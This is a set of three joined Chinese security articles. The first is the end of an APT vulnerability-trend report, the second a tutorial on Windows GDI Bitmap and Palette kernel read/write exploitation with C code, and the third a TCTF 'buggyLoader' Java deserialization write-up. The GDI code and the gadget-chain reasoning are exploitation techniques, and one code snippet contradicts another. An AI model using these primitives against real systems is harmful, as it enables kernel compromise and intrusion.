T1566.003 | CVE-2020-096 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel
T1566.003 | CVE-2019-17026 | 浏览器漏洞 | 结合社会工程学进行水坑攻击 | DarkHotel
T1566.001 | CVE-2017-11882 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | Gamaredon
T1566.001 | CVE-2017-0261 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 摩诃草
T1566.00 | CVE-2017-0199 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 响尾蛇
T1566.001 | CVE-2018-0798 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | 黑格莎
T1566.001 | CVE-2012-0158 | 文件漏洞 | 结合社会工程学进行钓鱼邮件攻击 | NA
通过系统分析我们发现，本年度内有一些网络设备成为了攻击的重点对象，攻击者主要利用了这些设备的漏洞开展Initial Access攻击，具体包括：
Fortinet FortiOS VPN (CVE-2018-13379)
Citrix NetScaler (CVE-2019-19781)
MobileIron (CVE-2020-15505)
Pulse Secure (CVE-2019-11510)
Palo Alto Networks (CVE-2020-2021)
F5 BIG-IP (CVE-2020-5902)
下面，我们对这几个关键的漏洞进行简要介绍。
**Fortinet FortiOS SSL VPN 漏洞 (CVE-2018-13379)**
CVE-2018-13379是Fortinet FortiOS SSL VPN设备的web
portal中存在的一个路径遍历漏洞。未经身份验证的攻击者可以利用该漏洞通过精心制作的HTTP资源请求下载FortiOS系统文件。
**Citrix NetScaler (CVE-2019-19781)**
CVE-2019-19781是Citrix
NetScaler设备中存在的可导致远程代码执行的高危漏洞，未授权的攻击者可以利用它入侵控制Citrix设备，并实现进一步的内网资源访问获取。
**MobileIron Core & Connector 漏洞 (CVE-2020-15505) **
CVE-2020-15505是MobileIron Core &
Connector设备(版本10.3及更早版本)中存在的一个远程代码执行漏洞。此漏洞允许攻击者在没有特权的情况下，可以在系统上自行选择代码执行。由于移动设备管理系统(Mobile
Device Management, MDM)对于外部设备的配置管理至关重要，所以它们通常会得到很高的管理权限，并成为攻击者的高价值攻击目标。
**Pulse Secure (CVE-2019-11510)**
CVE-2019-11510是Pulse Connect
Secure产品中存在的一个漏洞，利用该漏洞，攻击者无需身份验证即可远程向设备执行命令注入，任意读取设备上的文档资料，如VPN帐户密码信息，进而进行网内横移。
**Palo Alto Networks (CVE-2020-2021)**
CVE-2020-2021是Palo Alto
Networks设备的身份验证功能存在的一个安全漏洞，该漏洞会允许攻击者获取网内受保护的资料，或以管理员的身份登录设备并执行管理操作。
**F5 BIG-IP (CVE-2020-5902)**
CVE-2020-5902是F5 BIG-IP产品中存在的一个重大远程代码执行漏洞，该漏洞允许攻击者或者任何能够远程访问设备流量管理用户界面的用户远程执行系统命令。该漏洞影响了多个版本的BIG-IP。
**（2）权限提升（Privilege Escalation）阶段**
在获取初始访问权限之后，APT攻击者开始采用相关技术手段来扩展对环境的访问权限，实现权限提升(Privilege Escalation)。
通过综合分析我们发现，本年度内APT攻击者在Privilege Escalation阶段利用漏洞的情况简要汇总下表所示。
战术 | 漏洞编号 | 漏洞类型 | 攻击策略 | **_*APT组织*_**
---|---|---|---|---
_ | CVE-2020-0986 | 系统漏洞 | 攻击成功后进行权限提升 | DarkHotel
T1068 | CVE-2019-0808 | 系统漏洞 | 攻击成功后进行权 | 摩诃草
T1068 | CVE-2016-7255 | 系统漏洞 | 攻击成功后进行权限提升 | 摩诃草
T1068 | CVE-2020-1472 | 系统漏洞 | 提权后可以进行横向移动 | APT10
下面，我们对这几个关键的漏洞进行简要介绍如下：
**Microsoft Windows NetLogon权限提升漏洞(CVE-2020-1472)
** 该漏洞是Active
Directory的核心身份验证组件，允许未经身份验证的攻击者通过网络访问域控制器来完全破坏所有AD标识服务。攻击者可以利用该漏洞进行网络内横移，由此再攻击网络中的其它设备。
**Windows内核特权提升漏洞(CVE-2020-0986)**
CVE-2020-0986是Windows
内核中存在一个提权漏洞。攻击者可利用该漏洞在内核模式中运行任意代码，安装程序，查看、更改或删除数据，或者创建拥有全部用户权限的新帐户。
**Microsoft Windows权限访问控制漏洞(CVE-2019-0808)
** CVE-2019-0808是Windows系统存在的一个内核漏洞，该漏洞只影响Windows 7和Windows Server
2008，漏洞允许攻击者提升权限并在内核模式下执行任意代码。在谷歌威胁分析团队的报告中发现该漏洞用于进行Chrome沙箱逃逸，和CVE-2019-5786
Chrome 远程代码执行漏洞配合使用。
Microsoft Win32k特权提升漏洞(CVE-2016-7255)
CVE-2016-7255是Windows的内核模式驱动程序存在的一个特权提升漏洞。攻击者可利用该漏洞在内核模式下执行任意代码。
**（3）APT组织利用漏洞情况小结**
从攻击阶段来看，初始访问阶段主要使用网关、VPN、防火墙等网络设备、Office、浏览器漏洞进行打点，或使用数据库或邮件服务器进行打点，提权阶段一般利用Windows漏洞进行提权。2020年已监测到的APT组织利用漏洞的情况总结如下：
**APT 41**
APT 41组织在初始打点阶段，在2020年相关溯源报告显示，其偏爱使用网络设备漏洞，如Citrix ADC和Systems
Gateway路径遍历漏洞（CVE-2019-19781）、Cisco Small Business
RV320和RV325命令注入漏洞（CVE-2019-1652、CVE-2019-1653）、Zoho ManageEngine Desktop
Central远程代码执行漏洞（CVE-2020-10189 ）。
**Pioneer Kitten**
Pioneer Kitten则倾向于利用Pulse Secure Pulse Connect
Secure任意文件读取漏洞（CVE-2019-11510）、Citrix ADC和Systems
Gateway路径遍历漏洞（CVE-2019-19781）、F5 BIG-IP远程代码执行漏洞（CVE-2020-5902）获得初始访问权限。
**DarkHotel**
DarkHotel喜欢使用Microsoft Internet
Explorer远程代码执行漏洞（CVE-2019-1367、CVE-2020-1380、CVE-2020-0674）、Mozilla Firefox
远程代码执行漏洞（CVE-2019-17026）结合社会工程学进行钓鱼、水坑攻击打点。
**XDSpy**
XDSpy同样也利用钓鱼、水坑攻击打点，有记录的溯源报告显示其使用过Microsoft Internet
Explorer内存破坏漏洞（CVE-2020-0968）。
**摩诃草**
摩诃草主要利用Microsoft Office远程代码执行漏洞（CVE-2017-0261）进行打点、同时利用Microsoft
Windows权限访问控制漏洞（CVE-2019-0808）、Microsoft Win32k特权提升漏洞（CVE-2016-7255）进行后续的提权工作。
**Gamaredon、黑格莎及响尾蛇**
Gamaredon、黑格莎、响尾蛇打点使用的是Office文档钓鱼邮件攻击，它们利用的漏洞分别是Microsoft
office组件EQNEDT32.EXE内存破坏漏洞（CVE-2017-11882，Gamaredon组织所用）、Microsoft
Office内存破坏漏洞（CVE-2018-0798，黑格莎组织所用）、Microsoft Office Word
OLE对象代码执行漏洞（CVE-2017-0199，响尾蛇所用）。
**Hade**
Hade采取了使用较少的邮件服务器漏洞Exim远程代码执行漏洞（CVE-2019-10149）获得初始访问权限。
**APT 10**
APT 10只收集到权限提升阶段漏洞，Microsoft Windows NetLogon权限提升漏洞（CVE-2020-1472）提权后可以进行横向移动。
**其它**
另外，还有一些未知APT组织攻击事件的漏洞利用情况。他们也都是在初始访问阶段使用漏洞，进行打点工作，漏洞依然主要以网关、VPN、防火墙等网络设备为主。所利用的漏洞名称如下表所示。
序号 | 漏洞名称
---|---
1 | Palo Alto Networks PAN-OS认证绕过漏洞（CVE-2020-2021）
2 | JUNOS OS HTTP&HTTPS 服务高危漏洞（CVE-2020-1631）
3 | Pulse Secure Pulse Connect Secure代码注入漏洞
4 | Fortinet FortiOS路径遍历漏洞
5 | Palo Alto Networks PAN-OS远程代码执行漏洞
6 | MobileIron远程代码执行漏洞
7 | SonicWall VPN OS缓冲区溢出漏洞
8 | Microsoft Exchange验证密钥远程代码执行漏洞
9 | Microsoft Windows Common Controls ActiveX Control远程代码执行漏洞
10 | MongoDB Server权限许可和访问控制问题漏洞
11 | OpenSSH中间人安全绕过漏洞（CVE-2019-6110）
12 | OpenSSH中间人安全绕过漏洞（CVE-2019-6109）
13 | OpenSSH访问绕过漏洞（CVE-2018-20685）
## 2021 APT视角下的漏洞威胁趋势
基于对2020年APT攻击事件的监测和对同业分析报告的梳理，2021年的APT视角下的漏洞很可能呈现如下趋势：
**（1）APT攻击可能继续基于漏洞获取初始权限后开展常规恶意软件分发**
在过去的一年里，发生了多起利用常规银行木马(如Trickbot)获得目标网络立足点后实施定向勒索攻击的事件。此外，定向勒索攻击者也会从Genesis这样的地下网络市场购买受害者网络访问凭据。我们相信，APT攻击者将会在今年使用同样的策略来攻击他们选定的目标。为此，我们需要更加关注通用恶意软件，并在每台受攻击电脑上部署和采取必要的安全响应机制，以确保能够及时发现电脑上隐藏的通用恶意软件，防止其被用于开展定向网络攻击。
**（2）针对远程办公场景的定向攻击慢慢开始依靠边界设备漏洞**
随着组织安全性的全面提高，网络攻击者将会越来越关注利用VPN网关等网络设备中的漏洞来发起攻击。而且，我们在前面的分析中已经对所发生的此类情况进行了总结概述。其实，这个现象与向“在家办公”的工作形势变化动向是一致的，这种工作形式会严重依赖VPN设备。而对远程工作方式和VPN设备的依赖，与此同时也产生了一个新的潜在攻击矢量，即通过现实世界的社会工程方法（如“网络钓鱼”）获取用户凭据，由此获得对公司VPN的访问。在某些情况下，攻击者甚至无需在受害者的网络办公环境中部署恶意软件，即可完成情报窃取。
万变不离其宗，针对企业而言，做好资产梳理，围绕资产建设匹配的安全能力，聚焦核心威胁，将安全变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识，才能防范于未然。
## 团队介绍
**（1）深信服千里目安全实验室**
千里目安全实验室拥有资深白帽子加博士团队，从红蓝对抗的实战理念出发研究黑灰产技术，已发展为包括漏洞研究团队，实战攻防团队，应急响应处置团队，威胁情报研究团队，UEBA研究团队，病毒查杀对抗研究团队，异常流量大数据分析团队以及安全效果测试团队的综合性安全研究团队。
**（2）深信服深蓝攻防实验室**
深蓝攻防实验室是深信服专门进行攻防研究与红队实战的团队。研究对象包括：红蓝对抗、渗透攻击链、通用漏洞分析与挖掘、武器开发等。作为攻击队参加各种实战攻防演练，在国家级攻防演练、省级攻防演练、金融运营商等行业攻防演练、能源央企内部攻防演练等各类演习中表现突出，名列前茅。2020年在浙江、安徽、黑龙江、江西、青海、广西、海南、内蒙、天津等省级攻防演练取得冠军的成绩，亚军季军数不胜数。
**（3）深信服灯火安全研究实验室**
深信服安全蓝军灯火团队是深信服科技旗下的纯技术研究团队，专注于二进制漏洞挖掘，攻防对抗，前瞻性攻防工具预研。团队成员曾在微软、谷歌、Intel、阿里、腾讯、华为、Adobe、Oracle、联想、惠普、TP-Link等大型厂商或机构的产品发现了数百个安全漏洞。团队多名成员曾入选微软全球TOP安全研究者排行榜，在多个工业界国际安全和学术会议上发表演讲和论文。
## 参考文献
[1] Fortinet Advisory: FG-IR-18-384
[2] MobileIron Blog: MobileIron Security Updates Available
[3] Microsoft Security Advisory for CVE-2020-1472
[4] Microsoft: AD Forest Recovery - Resetting the krbtgt password
[5] CISA: APT Actors Chaining Vulnerabilities Against SLTT, Critical
Infrastructure, and Elections Organizations
[6] Kaspersky Securelist: Advanced Threat predictions for 2021
* * * | 社区文章 |
# GDI 对象利用
## 0x00 前言
普通显示器是由像素点构成的，显示时采用扫描的方法，这种显示器被称为位映像设备。位映象，就是指一个二维的像素矩阵， **Bitmap(位图)**
就是采用位映象方法显示和存储的图象。
当一幅图中每个像素点赋予不同的 RGB 值时，就能呈现不同的颜色，用来指定对应颜色的 RGB 表就被称为 **Palette(调色板** )。
## 0x01 Bitmap
### 1.1 基础概念
#### CreateBitmap
HBITMAP CreateBitmap(
[in] int nWidth, // 位图宽度，像素为单位
[in] int nHeight, // 位图高度，像素为单位
[in] UINT nPlanes, // 设备使用的颜色位面数
[in] UINT nBitCount, // 用来区分单个像素点颜色的位数
[in] const VOID *lpBits // 指向颜色数据数组的指针
如果成功返回创建位图的句柄，如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0。
#### SURFACE OBJECT
随着位图一样被创建的还有 SURFACE OBJECT
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
它包含了两个结构体： BASEOBJECT 和 SURFOBJ。SURFOBJ.pvScan0 还指向一块名为 Pixel Data 的数据区。
SURFOBJ 官方有详细的定义：
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
#### GetbitmapBits 和 SetBitmapBits
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。
LONG GetBitmapBits(
[in] HBITMAP hbit, // 位图的句柄
[in] LONG cb, // 要从位图复制到缓冲区的字节数
[out] LPVOID lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
[in] HBITMAP hbm, // 位图的句柄
[in] DWORD cb, // 指定参数lpBits指向的数组的字节数
[in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);
### 1.2 Bitmap 任意地址读写（<1607）
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。pvScan0 和它指向的数据区 Pixel Data
都在内核空间，因此利用GetbitmapBits 和 SetBitmapBits 就可以做到内核空间的读写，但是并不能做到任意地址读写。
如果存在一次任意地址写的机会，就可以通过修改 pvScan0 来获得任意地址读写的能力。
#### 获取 pvScan0 地址的方法
1. NtCurrentTeb 来获得 teb 的基址
2. x64 下 teb 偏移 0x60 获得 peb 的基址
1. peb 0xf8 偏移处获得 GdiSharedHandleTable 地址
1. GdiSharedHandleTable 是一个 GDICELL 结构体数组，成员对应进程中的每个GDI对象，数组索引是CreateBitmap 返回的句柄 hBitmap的低十六位，即 `index = hBitmap & 0xFFFF`
2. GDICELL 结构如下：
typedef struct _GDI_CELL{
PVOID64 pKernelAddress; // 0x00
USHORT wProcessId; // 0x08
USHORT wCount; // 0x0a
USHORT wUpper; // 0x0c
USHORT wType; // 0x0e
PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18
`pKernelAddress = PEB.GdiSharedHandleTable + (handle & 0xffff) *
sizeof(GDICELL64)`
1. pKernelAddress 指向 BASEOBJECT ，SURFOBJ 在偏移 0x18 处，`SURFOBJ = BASEOBJECT + 0x18`
2. pvScan0 在 SURFOBJ 0x38 偏移处，`pvScan0 = SURFOBJ + 0x38`
整体代码为：
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64) hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
#### 整体利用思路
1. CreateBitmap 创建两个 Bitmap，获得两个句柄 hManager 和 hWorker
2. 获取 hManager 和 hWorker 的 pvScan0 地址
3. 利用一次任意地址写的能力，使 hManager 的 pvScan0 的值为 hWorker 的 pvScan0 的地址，即 *hManager_pvScan0 = hWorker_pvScan0
4. 任意写（完成向 0x1234 地址写入 0xAAAA）：
\- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
\- 利用 SetBitmapBits 向 hWorker_pvScan0 指向的地址写入 0xAAAA
1. 任意读（完成读取 0x1234 地址的值）
\- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
\- 利用 GetBitmapBits 读取 hManager_pvScan0 指向的地址的值
代码如下：
#include <stdio.h>
#include <Windows.h>
DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = pKernelAddress + 0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
return pvScan0Addr;
}
VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
SetBitmapBits(hManager,len,&writeAddr);
GetBitmapBits(hWorker, len, readValue);
}
VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
SetBitmapBits(hManager, len, &writeAddr);
SetBitmapBits(hWorker, len, writeValue);
}
int main()
{
HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}
### 1.3 绕过 RS1 缓解措施（<1703）
Windows RS1 对 Bitmap 做了缓解措施，`GdiSharedHandleTable`不再透露内核地址。，因此通过
pKernelAddress 找到 pvScan0 地址的方法失效了。
Windows 中共有三种类型的对象，分别是 User object、GDI object、Kernel object。Bitmap 属于 GDI
object，存在换页对象池:
Accelerator table 对象属于 User object，也存在于换页会话池中。Accelerator table 对象地址可以通过
pKernel 获得，因此如果可以让 Bitmap 对象重用 Accelerator table 对象，就可以再次找到 pvScan0 地址。
#### 获取对象地址
user32.dll 有一个全局变量结构—gSharedInfo，结构如下
typedef struct _SHAREDINFO{ PSERVERINFO psi; PHANDLEENTRY aheList; ULONG_PTR HeEntrySize; PDISPLAYINFO pDisplayInfo; ULONG_PTR ulSharedDelta; WNDMSG awmControl[27]; WNDMSG awmControl[31]; WNDMSG DefWindowMsgs; WNDMSG DefWindowSpecMsgs;} SHAREDINFO, *PSHAREDINFO;
ahelist 是一个指向一张结构为 USER_HANDLE_ENTRY 的表，其结构如下：
typedef struct _USER_HANDLE_ENTRY { void* pKernel; union { PVOID pi; PVOID pti; PVOID ppi; }; BYTE type; BYTE flags; WORD generation;} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
首地址就指向 pKernel，与 GDICELL 结构数组中的 pKernelAddress 一样，通过相同的计算方式就可以获得该对象地址。
#### 对象重用
类似堆喷的手法，创建多个 Accelerator table 对象再销毁，再创建 Bitmap 对象，使其复用。
### 1.4 绕过 RS2 缓解措施（<1709）
微软在 RS2 把 HADNLE_ENRTY结构体的pkernel 禁掉了，因此通过 Accelerator table 重用的方式也就失效了。
微软的缓解措施要去绕过，其本质也是泄露 Windows 对象，释放再申请 Bitmap，从而泄露 Bitmap 对象的地址。
这里就涉及到两个概念，一个是窗口菜单名 lpszMenuName，一个是 HMValidateHandle。
HMValidateHandle 可以通过传入窗口句柄，获得在桌面堆的 tagWnd
指针，通过这个指针可以泄露出内核地址（详情见<https://ryze-t.com/posts/2021/09/08/HMValidateHandle.html>）。
lpszMenuName 指向的是存放菜单名的 paged pool，通过 tagWnd 找到 lpszMenuName 对象的地址，类似于
Accelerator table 的形式获取到 pvScan0 的地址。
## 0x02 Palette
Bitmap 的问题在 RS3(1709) 终于被解决，于是又出现了新的解决办法—Palette，Palette 的利用方式与 Bitmap相似
### 1.1 基础概念
Palette 结构如下：
typedef struct _PALETTE64{ BASEOBJECT64 BaseObject; // 0x00 FLONG flPal; // 0x18 ULONG32 cEntries; // 0x1C ULONG32 ulTime; // 0x20 HDC hdcHead; // 0x24 ULONG64 hSelected; // 0x28, ULONG64 cRefhpal; // 0x30 ULONG64 cRefRegular; // 0x34 ULONG64 ptransFore; // 0x3c ULONG64 ptransCurrent; // 0x44 ULONG64 ptransOld; // 0x4C ULONG32 unk_038; // 0x38 ULONG64 pfnGetNearest; // 0x3c ULONG64 pfnGetMatch; // 0x40 ULONG64 ulRGBTime; // 0x44 ULONG64 pRGBXlate; // 0x48 PALETTEENTRY *pFirstColor; // 0x80 struct _PALETTE *ppalThis; // 0x88 PALETTEENTRY apalColors[3]; // 0x90}
该结构偏移 0x80 处存在一个指针 pFirstColor，指向的是偏移 0x90 的 4 字节数组 apalColors。
类比与 Bitmap，pFirstColor 就是 pvScan0， apalColors[3] 就是 pixel Data。
PALETTEENTRY 结构如下：
class PALETTEENTRY(Structure): _fields_ = [ ("peRed", BYTE), ("peGreen", BYTE), ("peBlue", BYTE), ("peFlags", BYTE) ]
### 1.2 CreatePalette
CreatePalette 创建一个逻辑调色板，具体函数用法如下：
HPALETTE CreatePalette( [in] const LOGPALETTE *plpal);
LOGPALETTE 结构如下：
typedef struct tagLOGPALETTE { WORD palVersion; // 0x300 WORD palNumEntries; // palNumEntries = (size-0x90)/4 PALETTEENTRY palPalEntry[1];} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;
### 1.3 GetPaletteEntries/SetPaletteEntries
与 Bitmap 类似，Palette 中也有类似 API，让我们可以操作 apalColors[3]。
UINT GetPaletteEntries( [in] HPALETTE hpal, // palette 句柄 [in] UINT iStart, // 要提取的逻辑调色板中的第一项 [in] UINT cEntries, // 要提取的逻辑调色板中的项数 [out] LPPALETTEENTRY pPalEntries // 接受调色项目的PALETTEENTRY结构数组的指针，该数组所含结构的数目至少为nEntries参数指定的数目);
UINT SetPaletteEntries( [in] HPALETTE hpal, // palette 句柄 [in] UINT iStart, // 要设置的逻辑调色板中的第一项 [in] UINT cEntries, // 要设置的逻辑调色板中的项数 [in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素);
### 1.4 利用思路
整体利用思路与 Bitmap 类似。
新建两个 Palette object：hWorker 和
hManager，利用堆喷射的手法获取到两个对象的pFirstColor指针的内核地址，将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址，利用
SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x1234，利用 SetPaletteEntries 往
0x1234 中写入 0xABCD；利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x4321，利用
GetPaletteEntries 从 0x4321 中读取相应值。 | 社区文章 |
# TCTF 2021——buggyLoader 题目分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 题目简介
前段时间TCTF
2021总决赛上出了一道java反序列化题目，碰巧前不久刚分析过shiro反序列化漏洞，如果在了解过shiro反序列化漏洞的重难点之后再看此题就会感觉比较简单，因为他们考察的知识点都是classloader相关内容。本篇文章将使用对比学习的方式一步步解决buggyLoader这道题目中遇到的问题，最后汇总知识点以及回答一些目前网上存在的问题。
题目默认页面如下图所示，主要考察Java反序列化的一些知识点，通过basic路由进行触发
## 0x02 环境搭建
### 0x1 docker搭建
为了更加方便的学习该题目，笔者首先进行调试环境搭建部署。好在该比赛提供了赛后复现docker
<https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021-final/buggyLoader>
根据题目docker文件了解到，该java服务部署在nginx服务之后，官方提供的nginx
docker做了一层转发，而且java题目所在的虚拟机网络接口为internal_network，这样不方便调试分析。在实际做题过程中可以修改docker-compose.yml将服务端口和调试直接映射出来，像下面一样修改题目部署文件。
version: '2.4'
services:
web:
build: ./
ports:
- "8811:8080"
- "5566:5566"
restart: always
networks:
- out_network
networks:
out_network:
driver_opts:
com.docker.network.driver.mtu: 1400
ipam:
driver: default
### 0x2 调试环境
笔者采用此方法进行调试，直接将buggyloader.jar放在idea中，在项目配置中添加依赖即可
关于jar包的启动信息都存放在MANIFEST.MF文件中
通过该文件笔者得知该jar包启动类为org.springframework.boot.loader.JarLauncher
Manifest-Version: 1.0
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Implementation-Title: javaDeserializeLabs
Implementation-Version: 0.0.1-SNAPSHOT
Spring-Boot-Layers-Index: BOOT-INF/layers.idx
Start-Class: com.yxxx.javasec.deserialize.JavaDeserializeLabsApplication
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Build-Jdk-Spec: 1.8
Spring-Boot-Version: 2.4.4
Created-By: Maven Jar Plugin 3.2.0
Main-Class: org.springframework.boot.loader.JarLauncher
在jar包中找到该类，在配置好JDK环境后点击调试该类。
对于Spring
Web服务就不多讲了，可读性比较高架构本身并不是很难，可以很轻松的在class文件中找到RequestMapping注解标识的路由。比如在indexController.class中的greeting函数是一个路由处理函数，如下图所示。
一开始将断点下在greeting函数上并不生效，最后用如下指令将jar包解开后，添加依赖进行调试
jar -xvf buggyloader.jar
## 0x03 题目分析
在做题目的过程中存在了很多问题，不过最后都一一解决了，有以下几个问题
1.该题目反序列化过程中不能存在数组的反序列化
2.之前分析shiro时的无数组型commons-collections5利用链在该题中报错了
3.新编写的无数组型commons-collections6利用链同样报错了
首先编写方便反序列化的封装函数
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeUTF("SJTU");
objOut.writeInt(1896);
objOut.writeObject(obj);
objOut.close();
byte[] exp = btout.toByteArray();
String data = Utils.bytesTohexString(exp);
System.out.println(data);
### 0x1 自定义ObjectInputStream
很快啊就找到了反序列化点，但是仔细看代码发现这个方法使用了MyObjectInputStream类进行反序列化
自定义的ObjectInputStream类如下，该类主要重写了resolveClass方法，将原先ObjectInputStream类采用的Class.forName方法替换成了classloader的加载方式，这就引来了很多问题
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;
public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}
对比TCTF、Shiro和原生ObjectInputStream的resolveClass如下图所示
在ObjectInputStream和Shiro中都采用了Class.forName的类加载机制，但是TCTF这道题仅仅使用了classloader加载。和之前分析Shiro反序列化过程一样需要引入一些类加载知识点
1.Class.forName不支持原生类型，但其他类型都是支持的
2.Class.loadClass不能加载原生类型和数组类型，其他类型都是支持的
3.类加载和当前调用类的Classloader有关
这里的原生类型指的是byte、short、int、long、float、double、char、boolean。需要特别注意的是Class.loadClass
**不支持加载数组类型** 。
关于共同之处简单的讲这两个类加载都是基于ClassLoader进行的，关于ClassLoader将会单独写一篇文章进行学习，这里只需要记住ClassLoader制定了类搜索路径，这就意味着如果ClassLoader不对那么将永远不会加载出需要的类。
### 0x2 与Shiro类加载的区别
Shiro实际上实现了一套相对复杂完整的类加载机制ClassUtils(其实是tomcat的那套类加载机制)，细细的观察可以发现里面是存在Class.forName进行类加载的，根据双亲委托原则该方法不能加载WEB-INF/lib下的数组类型。但是无数组型commons-collections3利用链足够了，即使里面有java原生类数组比如
byte[]、Object[]等
双亲委派原则如下，说白话就是优先让顶级类搜索加载class文件。shiro采用了tomcat的类加载机制，其中Class.forName加载对应下图的4橘黄色图块，也就意味着可以加载tomcat/lib、Java原生类、tomcat指定位置类的数组类型。
此图引自<https://www.cnblogs.com/aspirant/p/8991830.html>
再来看看此题中的类加载方式
该classloader处于这三者之后，他的父加载器是AppClassLoader
### 0x3 无数组型cc5利用链遇到的问题
这个利用方式和 **P神在小密圈中Java安全漫谈-15一文提出的方法** 以及 **wh1t3p1g师傅研究Shiro是构造的利用链类似**
https://www.anquanke.com/post/id/192619，都是使用了templatesImpl进行代码执行，利用newTransformer函数进行触发，巧妙的是通过TiedMapEntry触发LazyMap的get方法完成上述操作，大概是如下流程，最后可以实现调用templates中的任意方法。
一开始使用的是https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/shiro_CC5_2中的Poc，在反序列化的时候遇到了一些问题
仔细分析发现BadAttributeValueExpException的父类Throwable在反序列化过程中存在对数组的操作
因此判定不能使用BadAttributeValueExpException类作为入口函数。
### 0x4 无数组型cc6利用链遇到的问题
继续将poc调整为 **P神** 和 **wh1t3p1g**
师傅采用的cc6改造链，链接如下https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/TCTFbuggyLoaderCC6.java，不幸的是又报了其他的错误，这个错误应该是在反序列化byte[][]时出现的。
可以分析出造成该问题的原因，TemplatesImpl类在反序列化_bytecodes字段时使用了classloader加载该类型，然而classloader又不能加载数组类型所以报错。
那么确定是TemplatesImpl的问题后思路就比较受限了，因为ysoserial提供的命令执行就这两种
* transformers调用链
* TemplatesImpl字节码执行
为了解决这个问题，有两个大方向可以思考
* 寻找新的命令执行方式
* 寻找二次反序列化漏洞点
相对来说第二种更方便寻找一些，可以参考这篇文章中的解决方法<https://aluvion.gitee.io/2020/05/12/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E8%A1%8CJNDI%E6%B3%A8%E5%85%A5/>
### 0x5 二次反序列化漏洞
上面那片文章中的重点内容如下
沿着这个思路看一看具体是怎样的流程，首先找到二次反序列化点，如果我们能控制base64参数的内容就可以实现classloader绕过，从而使用ObjectInputStream的resolveClass来加载对应的类。
继续向上溯源，发现是findRMIServer函数进行的调用，这样只需要控制directoryURL并且控制其中的路径为/stub/就能走到二次反序列化的分支
关于该路径的构造可参考oracle官网提供的示例<https://docs.oracle.com/javase/7/docs/api/javax/management/remote/rmi/RMIConnector.html>
继续向上溯源，找到了调用方法为connect，但是这样是无法被反序列化成功的，因为有参函数的构造必然会涉及到数组的反序列化
public synchronized void connect(Map<String,?> environment)
throws IOException {
final boolean tracing = logger.traceOn();
String idstr = (tracing?"["+this.toString()+"]":null);
.....
findRMIServer(jmxServiceURL, usemap);
